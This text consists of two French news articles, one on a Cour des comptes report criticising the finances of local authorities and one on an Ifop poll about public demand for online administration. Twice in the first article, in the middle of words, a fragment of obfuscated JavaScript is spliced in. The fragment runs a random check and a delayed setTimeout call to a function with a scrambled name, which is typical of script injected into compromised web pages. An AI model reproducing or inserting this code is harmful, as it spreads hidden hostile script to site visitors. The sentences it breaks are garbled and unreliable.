La Cour des comptes juge que les collectivités ne font pas assez pour réduire les déficits publics

C’est une nouvelle bombe que la Cour des comptes a déposé sous les pieds des collectivités locales. Dans son deuxième rapport sur les finances publiques locales, les magistrats de la Cour des comptes sont particulièrement sévères avec leur gestion, et proposent des réformes radicales, telle l’instauration d’une dotation globale de fonctionnement (DGF) unique pour le bloc communal, qui serait perçue directement par les intercommunalités, puis reversée aux communes. Selon Didier Migaud, premier président de la Cour des comptes, qui présentait hier le rapport, non seulement les collectivités locales n’ont « pas apporté en 2013 la contribution attendue à la réduction des déficits publics », avec des dépenses croissant plus vite que les recettes, mais encore elles ont toutes les « marges de manœuvre » nécessaires pour le faire dans les années à venir, malgré les coupes drastiques dans les dotations versées par l’Etat. Une vision radicalement opposée à celle des associations d’élus locaux, qui dénoncent des « amalgames » et un « mauvais procès » (lire ci-dessous).

Le rapport pointe notamment du doigt la « dégradation » des finances locales, avec des recettes progressant moins vite que les dépenses, et une épargne brute en diminution. Les dépenses d’investissement ayant augmenté en cette dernière année de mandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}at municipal, le besoin de financement des administrations publiques locales (APUL) a fortement augmenté, souligne la Cour, passant entre 2012 et 2013 « de 3,7 à 9,2 milliards d’euros, soit 9,5 % de l’ensemble des déficits publics ». Même si Didier Migaud a reconnu que la dette des collectivités « n’est certes pas de même nature que celle de l’Etat, car elle ne concerne que l’investissement et pas les dépenses courantes », il a ajouté qu’elle « contribue tout de même à la dette publique au sens des critères de Maastricht ». Cependant, il faut préciser que pour les seules collectivités locales (les APUL incluent d’autres établissements publics), le besoin de financement est de 7,8 milliards, et qu’il a été financé pour moitié par les excédents reportés des années précédentes et pour moitié seulement par l’emprunt.
Selon le rapport, les principales « marges de manœuvre » pour faire des économies se trouvent dans la masse salariale, qui a progressé de 3,1% (+ 3,5 % en 2012), plus que celle de l’Etat. Les magistrats de la rue Cambon pointent d’abord l’inflation des effectifs du bloc communal, où les dépenses de personnel représentent près de la moitié des coûts de fonctionnement.
Alors que les associations d’élus y voient la conséquence de décisions de l’Etat (revalorisation des agents de catégorie C, augmentation des cotisations de CNRACL…), la Cour affirme que ces dernières ne comptent que pour 40 % dans l’augmentation des dépenses de personnel. Un chiffre qui date cependant du dernier rapport, et n’a pas été réévalué, même si les auteurs du rapport affirme qu’il n’a pas évolué de manière significative.
C’est pour définir clairement les responsabilités et les engagements de chacun, et remédier « à un certain déficit dans le dialogue nécessaire entre l’Etat et les collectivités locales », que la Cour préconise à nouveau (lire Maire info du 18 juin) de voter chaque année une loi de finances spécifique aux collectivités. Selon Didier Migaud, la mise en place d’un « objectif d’évolution des dépenses » locales, prévu par le projet de loi de finances pour 2015, n’est qu’une « première étape ».
Cette loi spécifique, appelée de leurs vœux par plusieurs associations d’élus dont l’AMF et l’ADF, permettrait aux élus locaux et à l’Etat « d’arrêter de se renvoyer la balle ». Elle permettrait également d’évaluer le « poids réel des normes, pas bien quantifié » à l’heure actuelle, souligne Didier Migaud.
Le rapport ne manque pas de recommandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ations qui devraient provoquer des remous au sein des élus locaux, notamment celle d’une DGF unique pour le bloc communal, qui serait perçue et redistribuée par les intercommunalités – totalement refusée aujourd’hui par l’AMF. La Cour appelle également à un développement d’une mutualisation « moins parcellaire », avec un « transfert de compétences par champ d’intervention ». « Il faut éviter le saucissonnage des compétences », a insisté Didier Migaud. La Cour préconise également la poursuite du regroupement des EPCI et la réduction du nombre de syndicats intercommunaux et mixtes.

Les Français veulent davantage d’e-administration

Près de 9 personnes sur 10 interrogées par l’Ifop pour Acteurs publics et Ernst & Young se disent prêtes à faire plus de démarches sur Internet et 61 % estiment que la France est en retard dans ce domaine. L’administration en ligne permettrait de gagner du temps, de simplifier et de réduire le coût des services publics.

Le développement de l’administration numérique, ou “e-administration”, figure parmi les objectifs maintes fois assignés par les pouvoirs publics aux politiques de modernisation des relations entre les services publics et les usagers. Récemment, dans le cadre du “choc de simplification” impulsé par le président de la République, la fluidification numérique des échanges entre les entreprises et les administrations s’est ainsi inscrite au cœur d’évolutions jugées essentielles.

Interrogés par l’Ifop pour Acteurs publics et Ernst & Young, les Français font preuve de jugements particulièrement favorables au développement de l’e-administration, et se montrent disposés à participer à cette évolution fondamentale dans le fonctionnement des services publics.

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Invités en premier lieu à lister les évocations que leur suggère l’administration numérique, les interviewés se focalisent sur des éléments liés à la rationalisation des rapports entre usagers et services publics. Ainsi, 57 % mentionnent le gain de temps que représente pour les citoyens l’e-administration, alors que 36 % évoquent une simplification des services publics, et une proportion identique, un moyen de réduire le coût des services publics. Économie, simplicité, rapidité : ces trois concepts traduisent une attente forte en termes d’efficacité accrue des services publics, attente qui se comprend d’autant mieux qu’on sait les Français très soucieux de voir l’État et toutes les administrations réduire leurs dépenses, de même que l’on connaît leur souci d’une amélioration des services rendus aux usagers (qui sont aussi des contribuables), s’agissant notamment de la vitesse à laquelle les services publics sont en mesure de traiter leur situation.

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Pas de fracture générationnelle ou territoriale

Si ces premiers résultats témoignent d’attentes fortes de la part des usagers, leur regard sur le niveau actuel de développement de l’administration numérique en France s’avère relativement sévère.En effet, 13 % seulement des personnes interrogées estiment que la France est en avance dans ce domaine par rapport aux autres pays développés, et 61 % pensent à l’inverse que notre pays est en retard, 26 % considérant que la France n’est ni en avance ni en retard. Dans le détail des réponses, on note que les proches de la gauche (18 %), mais aussi les cadres et professions libérales (17 %) et surtout les plus jeunes (23 % des 18-24 ans) sont les plus nombreux à noter une avance de la France.

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Le “retard” français dans la numérisation des échanges entre usagers et services publics est d’autant plus regrettable qu’une très large majorité des interviewés (89 %) souhaiteraient faire davantage de démarches administratives en ligne si c’était possible. 44 % se disent même “certains” de s’y adonner si l’occasion s’en présentait. S’il n’est guère de fracture générationnelle dans cette propension à utiliser de nouveaux e-services, on observe que les CSP – (ouvriers et employés) se montrent nettement moins promptes que les CSP + à faire davantage de démarches en ligne (40 % versus 58 %). Un écart se révèle aussi entre les zones rurales (43 % de personnes disposées) et les habitants de l’agglomération parisienne (56 %).

L’état civil loin devant

S’agissant enfin des domaines dans lesquels il s’agirait de développer l’e-administration, les Français sont prêts à accroître le champ des relations numériques avec les services publics, mentionnent en premier lieu l’état civil et la vie citoyenne, dont notamment le vote en ligne (59 % de mentions). De loin, cet aspect de la vie administrative domine les autres domaines où la numérisation pourrait se renforcer : la santé et la prévention (26 % d’évocations), l’emploi (24 %) ou encore l’action sociale (24 %) sont autant de services moins évoqués, certainement du fait des nombreuses démarches que les usagers ont déjà aujourd’hui la possibilité d’effectuer en ligne dans leurs rapports avec ces services publics.

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On relèvera toutefois que la hiérarchie n’est pas la même auprès des plus jeunes, qui sont nettement plus nombreux que la moyenne à citer l’emploi comme secteur prioritaire de développement de l’administration numérique(42 % des 18-24 ans évoquent ce secteur).

Damien Philippot,
directeur des études politiques au département “Opinion et stratégies d’entreprise” de l’Ifop

Sondage Acteurs publics/Ernst & Young réalisé par l’Ifop pour l’Observatoire des politiques publiques auprès d’un échantillon de 1 002 personnes représentatif de la population française âgée de 18 ans et plus, selon la méthode des quotas (sexe, âge, profession de l’interviewé) après stratification par région et catégorie d’agglomération. Les interviews ont eu lieu par questionnaire auto-administré en ligne (CAWI – Computer Assisted Web Interviewing) du 22 au 24 janvier 2014.